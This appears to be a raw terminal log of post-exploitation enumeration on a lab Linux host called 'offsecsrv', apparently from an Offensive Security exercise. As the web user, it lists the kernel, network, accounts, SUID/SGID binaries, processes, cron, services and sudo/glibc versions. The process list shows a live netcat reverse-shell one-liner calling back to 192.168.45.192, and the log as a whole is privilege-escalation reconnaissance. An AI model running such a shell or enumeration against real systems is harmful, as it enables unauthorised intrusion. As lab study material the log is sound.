System/Kernel
www-data@offsecsrv:/var/www$ uname -a ; cat /etc/*release
Linux offsecsrv 2.6.32-21-generic #32-Ubuntu SMP Fri Apr 16 08:10:02 UTC 2010 i686 GNU/Linux
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=10.04
DISTRIB_CODENAME=lucid
DISTRIB_DESCRIPTION="Ubuntu 10.04.3 LTS"
2.6.32-21-generici686Ubuntu 10.04.3 LTS
Networks
www-data@offsecsrv:/var/www$ ip route ; /usr/sbin/arp -a
192.168.132.0/24 dev eth0 proto kernel scope link src 192.168.132.41
169.254.0.0/16 dev eth0 scope link metric 1000
default via 192.168.132.254 dev eth0 metric 100
? (192.168.132.254) at 00:50:56:9e:df:ab [ether] on eth0www-data@offsecsrv:/var/www$ netstat -antup4
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN -
tcp 0 141 192.168.132.41:34181 192.168.45.192:23 ESTABLISHED 2327/nc
udp 0 0 0.0.0.0:5353 0.0.0.0:* -
udp 0 0 0.0.0.0:58249 0.0.0.0:* - Users & Groups
www-data@offsecsrv:/var/www$ cat /etc/passwd ; ll /home
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:107::/var/run/dbus:/bin/false
avahi-autoipd:x:103:110:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:104:111:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
couchdb:x:105:113:CouchDB Administrator,,,:/var/lib/couchdb:/bin/bash
speech-dispatcher:x:106:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh
usbmux:x:107:46:usbmux daemon,,,:/home/usbmux:/bin/false
haldaemon:x:108:114:Hardware abstraction layer,,,:/var/run/hald:/bin/false
kernoops:x:109:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:110:115:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:111:117:RealtimeKit,,,:/proc:/bin/false
saned:x:112:118::/home/saned:/bin/false
hplip:x:113:7:HPLIP system user,,,:/var/run/hplip:/bin/false
sshd:x:115:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:116:123:MySQL Server,,,:/var/lib/mysql:/bin/false
total 12K
4.0K -rw-r--r-- 1 www-data www-data 33 Mar 24 12:50 local.txt
4.0K drwxr-xr-x 22 root root 4.0K Aug 2 2024 ..
4.0K drwxr-xr-x 2 root root 4.0K Jul 9 2020 .www-data@offsecsrv:/var/www$ cut -d: -f1 /etc/passwd | xargs -n1 id
uid=0(root) gid=0(root) groups=0(root)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
uid=2(bin) gid=2(bin) groups=2(bin)
uid=3(sys) gid=3(sys) groups=3(sys)
uid=4(sync) gid=65534(nogroup) groups=65534(nogroup)
uid=5(games) gid=60(games) groups=60(games)
uid=6(man) gid=12(man) groups=12(man)
uid=7(lp) gid=7(lp) groups=7(lp)
uid=8(mail) gid=8(mail) groups=8(mail)
uid=9(news) gid=9(news) groups=9(news)
uid=10(uucp) gid=10(uucp) groups=10(uucp)
uid=13(proxy) gid=13(proxy) groups=13(proxy)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=34(backup) gid=34(backup) groups=34(backup)
uid=38(list) gid=38(list) groups=38(list)
uid=39(irc) gid=39(irc) groups=39(irc)
uid=41(gnats) gid=41(gnats) groups=41(gnats)
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
uid=100(libuuid) gid=101(libuuid) groups=101(libuuid)
uid=101(syslog) gid=103(syslog) groups=103(syslog)
uid=102(messagebus) gid=107(messagebus) groups=107(messagebus)
uid=103(avahi-autoipd) gid=110(avahi-autoipd) groups=110(avahi-autoipd)
uid=104(avahi) gid=111(avahi) groups=111(avahi)
uid=105(couchdb) gid=113(couchdb) groups=113(couchdb)
uid=106(speech-dispatcher) gid=29(audio) groups=29(audio)
uid=107(usbmux) gid=46(plugdev) groups=46(plugdev)
uid=108(haldaemon) gid=114(haldaemon) groups=114(haldaemon)
uid=109(kernoops) gid=65534(nogroup) groups=65534(nogroup)
uid=110(pulse) gid=115(pulse) groups=115(pulse),29(audio)
uid=111(rtkit) gid=117(rtkit) groups=117(rtkit)
uid=112(saned) gid=118(saned) groups=118(saned)
uid=113(hplip) gid=7(lp) groups=7(lp)
uid=115(sshd) gid=65534(nogroup) groups=65534(nogroup)
uid=116(mysql) gid=123(mysql) groups=123(mysql)SUIDs
www-data@offsecsrv:/var/www$ find / -perm -04000 -ls -type f 2>/dev/null
127 28 -rwsr-xr-x 1 root root 26456 Mar 11 2010 /bin/ping6
159 52 -rwsr-xr-x 1 root root 51224 Jan 20 2011 /bin/umount
101 72 -rwsr-xr-x 1 root root 72188 Jan 20 2011 /bin/mount
71 28 -rwsr-xr-x 1 root root 26244 Feb 11 2011 /bin/fusermount
150 32 -rwsr-xr-x 1 root root 31100 Feb 14 2011 /bin/su
126 36 -rwsr-xr-x 1 root root 34756 Mar 11 2010 /bin/ping
2822 44 -rwsr-xr-- 1 root messagebus 42492 Mar 4 2011 /lib/dbus-1.0/dbus-daemon-launch-helper
7769 128 -rwsr-xr-x 1 root root 127668 Jan 19 2011 /usr/bin/sudo
7090 56 -rwsr-xr-x 1 root root 53812 Feb 14 2011 /usr/bin/gpasswd
7304 16 -rwsr-xr-x 1 root lpadmin 13540 Nov 2 2010 /usr/bin/lppasswd
6754 36 -rwsr-xr-x 1 root root 36180 Feb 14 2011 /usr/bin/chfn
7397 52 -rwsr-xr-x 1 root root 52092 Mar 6 2010 /usr/bin/mtr
6612 12 -rwsr-sr-x 1 root root 9664 Apr 8 2010 /usr/bin/X
7770 128 -rwsr-xr-x 1 root root 127668 Jan 19 2011 /usr/bin/sudoedit
7418 28 -rwsr-xr-x 1 root root 26784 Feb 14 2011 /usr/bin/newgrp
7482 40 -rwsr-xr-x 1 root root 37140 Feb 14 2011 /usr/bin/passwd
6658 16 -rwsr-xr-x 1 root root 13820 Mar 11 2010 /usr/bin/arping
6664 44 -rwsr-sr-x 1 daemon daemon 42752 Jan 14 2011 /usr/bin/at
6757 32 -rwsr-xr-x 1 root root 31700 Feb 14 2011 /usr/bin/chsh
7815 16 -rwsr-xr-x 1 root root 13952 Mar 11 2010 /usr/bin/traceroute6.iputils
7527 20 -rwsr-xr-x 1 root root 18056 Apr 19 2011 /usr/bin/pkexec
132326 8 -rwsr-xr-x 1 root root 5548 Nov 9 2009 /usr/lib/eject/dmcrypt-get-device
207866 12 -r-sr-xr-x 1 root root 9532 Feb 27 2015 /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
211250 12 -r-sr-xr-x 1 root root 10224 Feb 27 2015 /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
139039 12 -rwsr-xr-x 1 root root 9720 Apr 19 2011 /usr/lib/policykit-1/polkit-agent-helper-1
138370 180 -rwsr-xr-x 1 root root 182464 Jun 17 2011 /usr/lib/openssh/ssh-keysign
9376 12 -rwsr-xr-x 1 root root 9676 Jan 21 2011 /usr/lib/pt_chown
10332 268 -rwsr-xr-- 1 root dip 273312 Mar 6 2010 /usr/sbin/pppd
10415 16 -rwsr-sr-x 1 libuuid libuuid 13848 Jan 20 2011 /usr/sbin/uuiddSGIDs
www-data@offsecsrv:/var/www$ find / -perm -02000 -ls -type f 2>/dev/null
[...REDACTED...]
190363 4 drwxrwsr-t 2 root admin 4096 Nov 9 2011 /var/cache/jockey
190653 4 drwxrwsr-x 2 libuuid libuuid 4096 Jul 19 2011 /var/lib/libuuid
190349 4 drwxrwsr-x 2 root staff 4096 Apr 23 2010 /var/local
145791 4 drwxr-s--- 2 mysql adm 4096 Mar 24 13:09 /var/log/mysql
190351 4 drwxrwsr-x 2 root mail 4096 Jul 19 2011 /var/mail
7887 16 -rwxr-sr-x 1 root tty 13864 Jan 20 2011 /usr/bin/wall
6796 32 -rwxr-sr-x 1 root crontab 31656 Apr 14 2010 /usr/bin/crontab
7754 80 -rwxr-sr-x 1 root ssh 79240 Jun 17 2011 /usr/bin/ssh-agent
7332 12 -rwxr-sr-x 1 root mail 9760 Jan 14 2010 /usr/bin/mail-lock
7659 336 -rwxr-sr-x 1 root utmp 340604 Aug 17 2010 /usr/bin/screen
6926 20 -rwxr-sr-x 1 root shadow 18104 Feb 14 2011 /usr/bin/expiry
6746 56 -rwxr-sr-x 1 root shadow 53428 Feb 14 2011 /usr/bin/chage
6711 12 -rwxr-sr-x 1 root tty 9708 Nov 10 2009 /usr/bin/bsd-write
6612 12 -rwsr-sr-x 1 root root 9664 Apr 8 2010 /usr/bin/X
7334 12 -rwxr-sr-x 1 root mail 9760 Jan 14 2010 /usr/bin/mail-unlock
7380 32 -rwxr-sr-x 1 root mlocate 30316 Mar 24 2010 /usr/bin/mlocate
6853 16 -rwxr-sr-x 1 root mail 13924 Jan 14 2010 /usr/bin/dotlockfile
6664 44 -rwsr-sr-x 1 daemon daemon 42752 Jan 14 2011 /usr/bin/at
7333 12 -rwxr-sr-x 1 root mail 9760 Jan 14 2010 /usr/bin/mail-touchlock
7990 348 -rwxr-sr-x 1 root utmp 354444 Mar 31 2010 /usr/bin/xterm
35617 4 drwxrwsr-t 2 root lpadmin 4096 Nov 2 2010 /usr/share/ppd/custom
6605 4 drwxrwsr-x 6 root src 4096 Nov 9 2011 /usr/src
133082 12 -rwxr-sr-x 1 root mail 9720 Jun 25 2010 /usr/lib/evolution/camel-lock-helper-1.2
134867 16 -rwxr-sr-x 1 root utmp 13980 Jul 14 2010 /usr/lib/libvte9/gnome-pty-helper
8014 104 -r-xr-sr-x 1 root games 104780 Apr 13 2010 /usr/games/mahjongg
8015 128 -r-xr-sr-x 1 root games 128608 Apr 13 2010 /usr/games/quadrapassel
8013 132 -r-xr-sr-x 1 root games 134496 Apr 13 2010 /usr/games/gnomine
10155 4 drwxrwsr-x 6 root staff 4096 Jul 19 2011 /usr/local/share/xml
10162 4 drwxrwsr-x 2 root staff 4096 Jul 19 2011 /usr/local/share/xml/entities
10161 4 drwxrwsr-x 2 root staff 4096 Jul 19 2011 /usr/local/share/xml/declaration
10164 4 drwxrwsr-x 2 root staff 4096 Jul 19 2011 /usr/local/share/xml/schema
10163 4 drwxrwsr-x 2 root staff 4096 Jul 19 2011 /usr/local/share/xml/misc
10153 4 drwxrwsr-x 2 root staff 4096 Jul 19 2011 /usr/local/share/ppd
10154 4 drwxrwsr-x 7 root staff 4096 Jul 19 2011 /usr/local/share/sgml
10158 4 drwxrwsr-x 2 root staff 4096 Jul 19 2011 /usr/local/share/sgml/entities
10156 4 drwxrwsr-x 2 root staff 4096 Jul 19 2011 /usr/local/share/sgml/declaration
10159 4 drwxrwsr-x 2 root staff 4096 Jul 19 2011 /usr/local/share/sgml/misc
10157 4 drwxrwsr-x 2 root staff 4096 Jul 19 2011 /usr/local/share/sgml/dtd
10160 4 drwxrwsr-x 2 root staff 4096 Jul 19 2011 /usr/local/share/sgml/stylesheet
10151 4 drwxrwsr-x 2 root staff 4096 Jul 19 2011 /usr/local/share/fonts
10150 4 drwxrwsr-x 2 root staff 4096 Jul 19 2011 /usr/local/share/ca-certificates
10147 4 drwxrwsr-x 4 root staff 4096 Jul 19 2011 /usr/local/lib/python2.6
10148 4 drwxrwsr-x 2 root staff 4096 Jul 19 2011 /usr/local/lib/python2.6/dist-packages
10149 4 drwxrwsr-x 2 root staff 4096 Jul 19 2011 /usr/local/lib/python2.6/site-packages
10415 16 -rwsr-sr-x 1 libuuid libuuid 13848 Jan 20 2011 /usr/sbin/uuidd
6589 32 -rwxr-sr-x 1 root shadow 30344 May 31 2011 /sbin/unix_chkpwd
1915 4 drwxr-s--- 2 root dip 4096 Jul 19 2011 /etc/ppp/peers
293 4 drwxr-s--- 2 root dip 4096 Jul 19 2011 /etc/chatscriptsCapabilities
www-data@offsecsrv:/var/www$ getcap -r / 2>/dev/nullProcesses
www-data@offsecsrv:/var/www$ ps -auxwww
Warning: bad ps syntax, perhaps a bogus '-'? See http://procps.sf.net/faq.html
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.1 2772 1676 ? Ss 12:47 0:00 /sbin/init
root 388 0.0 0.1 2444 1116 ? S 12:47 0:00 upstart-udev-bridge --daemon
root 392 0.0 0.1 2764 1268 ? S<s 12:47 0:00 udevd --daemon
102 824 0.0 0.0 2768 980 ? Ss 12:47 0:00 dbus-daemon --system --fork
syslog 835 0.0 0.1 34532 1488 ? Sl 12:47 0:00 rsyslogd -c4
root 837 0.0 0.4 9504 4456 ? Ss 12:47 0:00 NetworkManager
root 840 0.0 0.2 4168 2300 ? S 12:47 0:00 /usr/sbin/modem-manager
avahi 846 0.0 0.1 3028 1584 ? S 12:47 0:00 avahi-daemon: registering [offsecsrv.local]
avahi 847 0.0 0.0 2924 548 ? Ss 12:47 0:00 avahi-daemon: chroot helper
root 862 0.0 0.1 4832 1728 ? S 12:47 0:00 /sbin/wpa_supplicant -u -s
root 891 0.0 0.0 1788 560 tty4 Ss+ 12:47 0:00 /sbin/getty -8 38400 tty4
root 898 0.0 0.0 1788 560 tty5 Ss+ 12:47 0:00 /sbin/getty -8 38400 tty5
root 906 0.0 0.0 1788 560 tty2 Ss+ 12:47 0:00 /sbin/getty -8 38400 tty2
root 907 0.0 0.0 1788 560 tty3 Ss+ 12:47 0:00 /sbin/getty -8 38400 tty3
root 910 0.0 0.0 1788 564 tty6 Ss+ 12:47 0:00 /sbin/getty -8 38400 tty6
root 912 0.0 0.0 2044 860 ? Ss 12:47 0:00 acpid -c /etc/acpi/events -s /var/run/acpid.socket
root 913 0.0 0.0 2372 892 ? Ss 12:47 0:00 cron
daemon 914 0.0 0.0 2244 432 ? Ss 12:47 0:00 atd
mysql 937 0.0 1.8 146504 18860 ? Ssl 12:47 0:00 /usr/sbin/mysqld
root 1032 0.7 0.3 6784 3084 ? Ss 12:47 0:15 /usr/sbin/cupsd -C /etc/cups/cupsd.conf
root 1355 0.0 0.9 41840 9972 ? Ss 12:47 0:00 /usr/sbin/apache2 -k start
root 1379 0.0 0.4 36960 4372 ? Sl 12:47 0:01 /usr/sbin/vmtoolsd
root 1465 0.0 0.0 1788 560 tty1 Ss+ 12:47 0:00 /sbin/getty -8 38400 tty1
root 1770 0.0 0.2 5548 2124 ? Ss 12:50 0:00 /usr/sbin/sshd -D
www-data 2131 0.1 0.5 41976 5416 ? S 13:09 0:01 /usr/sbin/apache2 -k start
www-data 2132 0.1 0.6 42232 6364 ? S 13:09 0:01 /usr/sbin/apache2 -k start
www-data 2173 0.1 0.6 42232 6364 ? S 13:09 0:01 /usr/sbin/apache2 -k start
www-data 2244 0.1 0.6 42232 6364 ? S 13:09 0:01 /usr/sbin/apache2 -k start
www-data 2248 0.1 0.5 41976 5416 ? S 13:09 0:01 /usr/sbin/apache2 -k start
www-data 2256 0.1 0.6 42232 6364 ? S 13:09 0:01 /usr/sbin/apache2 -k start
www-data 2269 0.1 0.6 42232 6364 ? S 13:09 0:01 /usr/sbin/apache2 -k start
www-data 2272 0.1 0.5 41976 5416 ? S 13:09 0:01 /usr/sbin/apache2 -k start
www-data 2276 0.1 0.6 42232 6272 ? S 13:09 0:00 /usr/sbin/apache2 -k start
www-data 2306 0.0 0.5 41976 5416 ? S 13:11 0:00 /usr/sbin/apache2 -k start
www-data 2322 0.0 0.0 1828 536 ? S 13:17 0:00 sh -c rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 192.168.45.192 23 >/tmp/f
www-data 2325 0.0 0.0 1788 420 ? S 13:17 0:00 cat /tmp/f
www-data 2326 0.0 0.1 3040 1684 ? S 13:17 0:00 bash -i
www-data 2327 0.0 0.0 3076 752 ? S 13:17 0:00 nc 192.168.45.192 23
www-data 2385 0.0 0.0 2432 984 ? R 13:22 0:00 ps -auxwwwroot 913 0.0 0.0 2372 892 ? Ss 12:47 0:00 cronmysql 937 0.0 1.8 146504 18860 ? Ssl 12:47 0:00 /usr/sbin/mysqldroot 1032 0.7 0.3 6784 3084 ? Ss 12:47 0:15 /usr/sbin/cupsd -C /etc/cups/cupsd.conf
Cron & Systemd
www-data@offsecsrv:/var/www$ crontab -l ; cat /etc/crontab ; systemctl list-timers
no crontab for www-data
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
systemctl: command not foundServices
www-data@offsecsrv:/var/www$ service --status-all
[ ? ] acpi-support
[ ? ] acpid
[ ? ] alsa-mixer-save
[ ? ] anacron
[ + ] apache2
[ - ] apparmor
[ ? ] apport
[ ? ] atd
[ ? ] avahi-daemon
[ ? ] binfmt-support
[ - ] bluetooth
[ - ] bootlogd
[ - ] brltty
[ ? ] console-setup
[ ? ] cron
[ + ] cups
[ ? ] dbus
[ ? ] dmesg
[ ? ] dns-clean
[ ? ] failsafe-x
[ - ] fancontrol
[ - ] grub-common
[ ? ] hostname
[ ? ] hwclock
[ ? ] hwclock-save
[ ? ] irqbalance
[ - ] kerneloops
[ ? ] killprocs
[ - ] lm-sensors
[ ? ] module-init-tools
[ ? ] mysql
[ ? ] network-interface
[ ? ] network-interface-security
[ ? ] network-manager
[ ? ] networking
[ ? ] ondemand
[ ? ] pcmciautils
[ ? ] plymouth
[ ? ] plymouth-log
[ ? ] plymouth-splash
[ ? ] plymouth-stop
[ ? ] pppd-dns
[ ? ] procps
[ + ] pulseaudio
[ ? ] rc.local
[ - ] rsync
[ ? ] rsyslog
[ - ] saned
[ ? ] screen-cleanup
[ ? ] sendsigs
[ ? ] speech-dispatcher
[ + ] ssh
[ ? ] stop-bootlogd
[ ? ] stop-bootlogd-single
[ ? ] udev
[ ? ] udev-finish
[ ? ] udevmonitor
[ ? ] udevtrigger
[ ? ] ufw
[ ? ] umountfs
[ ? ] umountnfs.sh
[ ? ] umountroot
[ ? ] unattended-upgrades
[ - ] urandom
[ ? ] wpa-ifupdown
[ - ] x11-commonSudo Version
www-data@offsecsrv:/var/www$ sudo -V
Sudo version 1.7.2p1Sudo version 1.7.2p1
Glibc Version
www-data@offsecsrv:/var/www$ ldd --version
ldd (Ubuntu EGLIBC 2.11.1-0ubuntu7.8) 2.11.1
Copyright (C) 2009 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.ldd (Ubuntu EGLIBC 2.11.1-0ubuntu7.8) 2.11.1